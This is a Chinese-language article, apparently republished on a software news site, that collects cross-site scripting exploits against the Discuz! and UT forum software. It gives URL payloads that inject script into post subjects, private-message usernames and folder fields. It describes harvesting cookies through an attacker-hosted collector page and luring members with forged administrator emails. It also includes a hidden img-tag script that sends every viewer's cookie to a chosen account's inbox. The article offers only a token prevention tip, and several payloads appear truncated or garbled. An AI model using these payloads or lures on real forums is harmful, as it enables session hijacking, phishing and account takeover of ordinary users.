亲宝软件园·资讯

展开

PHP著名开源论坛:Discuz!跨站大全

人气:0
想了解PHP著名开源论坛:Discuz!跨站大全的相关内容吗,在本文为您仔细讲解的相关知识和一些Code实例,欢迎阅读和指正,我们先划重点:PHHPP著著名名开开源源论论坛坛DDiissccuuzz!!跨跨站站大大全全,下面大家一起来学习吧。
在discuz!的发贴、回贴、PM等中的subject都没有经过过滤,所以也可以添加代码。  
例如  
http://xxx/post.php?action=newthread&fid=2...cript%3E%3Cb%22  

效果是首先弹出自己的cookie  
利用方法:把上述代码放置到img中。  

适用版本:discuz!2.x  
discuz!3.x  
一种利用discuz!2.0漏洞进行欺骗获得cookie的尝试  

通过测试XXXFan论坛的PM功能存在一个安全漏洞,具体描述如下:  
XXXFan的给某个会员发送悄悄的链接如下(假定这个会员名字为XXXFan)  
http://XXX/pm.php?action=send&username=XXXFan  

因为论坛程序对会员名字没有进行过滤,而是直接显示在发送到栏目中(TO:),所以可以在名字后面加上script代码。例如  

http://XXX/pm.php?action=send&username=XXXFan ";><script>alert(document..cookie)</script><b%20"  

上面的链接点击以后首先弹出的是自己的cookie内容。  
当然我们可以先在自己的站点上构造一个程序来收集cookie,类似于  
getcookie.php?cookie=  

但是如何来诱使会员点击呢,如果简单的放在论坛上,太容易被识别。所以可以利用discuz论坛程序的另外一个功能,“帖子介绍给朋友”功能。  

因为discuz的这个功能对填写的emial地址没有进行任何过滤、辨别和模版,可以伪造任何人给别人发信,安全性很高。利用这个功能我们就可以伪造ExploitFan的管理员给某个会员发一封信,诱使会员点击我们准备的URL,如果诱使就看自己的手段了,例如可以说“论坛正在测试新功能,请您协助点击上面地址,我们会在后台记录您的点击在合适的时间会给您增加积分以做奖励”等等。  

因为链接地址是XXXFan的,而且发信人和邮件地址都是XXXFan的官方地址,所以可信度非常高,而且不会留下任何把柄。当然为了更高的安全性,可以在<script>里的内容加密,以进一步增加隐蔽性。  

至于得到cookie如何做,可以尝试cookie欺骗或者是暴力破解MD5密码  

本方法适用于大部分使用discuz2.0的论坛,至于discuz3.0的利用方法请参与在我以前发表的discuz!悄悄话漏洞  
【BUG】Discuz!投票的BUG  
投票可以用  
misc.php?action=votepoll&fid=2&tid=16980&pollanswers[]=n  
(n为选项,从0开始)  
的方式通过URL来直接投票  

但是如果n>最大选项呢,嘻嘻~  
照样提交成功,不过增加了一个标题为空的选项  

效果见:  
http://discuz.net/viewthread.php?tid=20020&sid=dymPEc  
(那个最后的空白的是我刚加的)  

该漏洞存在的版本:  
Discuz!3.X  
Discuz!2.X(可能,没有测试过)  
Discuz!的代码漏洞  
这是接着昨天发现的漏洞所展开的,第一发现者(PK0909)。  

具体的描述就不说了,下面是一个简单的测试代码。  

http://www.xxxx.net/phpbbs/post.php?action...%3C%2Fscript%3E  

上面的代码是显示出自己的cookie  

下面是在某个比较有名的论坛的测试代码,无论谁察看该网页都会把cookie送到指定的会员短信箱里,隐蔽性很好,就是如果有人引用你的贴,哈哈~这里都会跑出来,露馅了  
[ img]http://xxx.com/xx.gif%22%20style=display:none%3e%3c/img%3e%3cscript%3evar%20Req=new%20ActiveXObject(%22MSXML2.XMLHTTP%22);Req.open(%22post%22,%22http://www.XXXX.com/forum/pm.php?action=send%22,false);var%20forms=%22pmSubmit=Submit%22.toLowerCase()%2B%22%26msgto=XXXXX%26subject=cookie%26saveoutbox=0%26message=%22%2Bescape(document..cookie);Req.setRequestHeader(%22Content-length%22,forms.length)%3BReq.setRequestHeader(%22CONTENT-TYPE%22,%22application/x-www-form-urlencoded%22);Req.send(forms);%3c/script%3e%3cb%22 [ /img]  

发现discuz!UT 跨域站点的脚本漏洞--短消息篇有关跨域站点的脚本漏洞,已经算是非常平成并普遍的漏洞了。  
有关具体的消息可以参阅:  
http://www.cert.org/advisories/CA-2000-02.html  
下面针对Discuz、UT论坛程序的悄悄话部分加以说明  

漏洞适应版本:  
Discuz1.X  
Discuz!2.0(0609,0820版)  
Discuz!3.X  
UT 1.0  

漏洞描述:  

discuz!给指定会员发送悄悄话使用的是类似http://www.XXXX.net/phpbbs/pm.php?action=send&username=name 的语句,但是name没有经过过滤直接显示在发送短消息的页面中,这就给偷cookie或者更严重的破坏打开了方便之门。  

Discuz!3.X已经改为http://XXX.net/pm.php?action=send&uid=XXXX类似的语句,避免了这个漏洞,但是在选择短信文件夹的时候却没有经过过滤。同样产生了上面的漏洞  


例  
http://www.XXXX.net/phpbbs/pm.php?action=s...d&username=name %22%3E%3Cscript%3Ealert(document..cookie)%3C/script%3E%3Cb%22[/url]  
,上面的例子是显示自己的cookie。(针对Discuz!1.X Discuz!2.X)  

http://XXX.net/pm.php?folder=inbox%22%3E%3...cript%3E%3Cb%22  
显示自己的cookie。(针对Discuz!3.X)  

UT虽然在主题上经过了过滤,也就是说把%27转换为';但是其收件人却没有过滤,所以同样有类似的漏洞。例子略。(在不同的UT论坛上发现其代码不尽相同,但是总的来说都有类似的漏洞)  


危害度:中弱  

预防办法:  
点击超级链接时请注意其真实内容。更多的安全补丁请密切关注官方论坛。 

加载全部内容

相关教程
猜你喜欢
用户评论